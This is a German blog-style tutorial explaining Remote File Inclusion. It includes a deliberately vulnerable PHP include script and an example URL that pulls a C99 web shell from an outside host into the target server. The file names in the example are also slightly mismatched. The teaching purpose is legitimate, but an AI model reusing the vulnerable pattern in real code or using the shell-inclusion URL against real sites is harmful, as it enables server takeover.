LFI (Local File Inclusion) wird, sobald ich Zeit finde, ebenfalls drankommen!
Was ist RFI überhaupt, und was ist die Gefahr bei solch einer Lücke?
Eine RFI Luecke kann ganz einfach entstehen, wenn man versucht, etwas auf einer Page zu inkludieren.Da sich das so mager anhört, versuch ich das in einem Source Beispiel zu erklären. Erstellen wir uns mal eine rfi.php Datei mit etwa diesem Inhalt:
<?php if (isset($_GET['file'])) { include($_GET['file']); } else { echo "Du hast kein File includet"; } ?>
Dazu erstellen wir eine blub.php Datei mit etwa diesem Inhalt:
<?php echo "Das ist eine includete PHP Datei"; ?>
http://localhost/rfi.php
Du hast kein File includet
http://localhost/rfi.php?file=jap.php
Das ist eine includete PHP Datei
Nun da RFI Remote File Inclusion heißt, wird hier eine externe page includiert, die nicht auf dem Webspace vorhanden ist, als Beispiel würde das dann so aussehen:
http://localhost/rfi.php?file=http://www.google.de
Vorraussetzung für eine RFI ist, dass allow_url_fopen, allow_url_include und register_globals on sind.
So nun brauchen wir ne Page mit einer C99.php shell als beispiel und includen diese (diese shell sollte in einem Format gespeichert sein, welches der Server nicht interpretiert sondern nur ausgibt, d.h. z.b. als .txt).
Sieht dann so aus:
http://localhost/rfi.php?file=http://test.de/c99.txt
Wie das ganze bei einer LFI aussieht erzaehl ich euch das nächste mal. Auch Sachen bezueglich Nullbyte werd ich noch ansprechen.
~fred
Keine Kommentare:
Kommentar veröffentlichen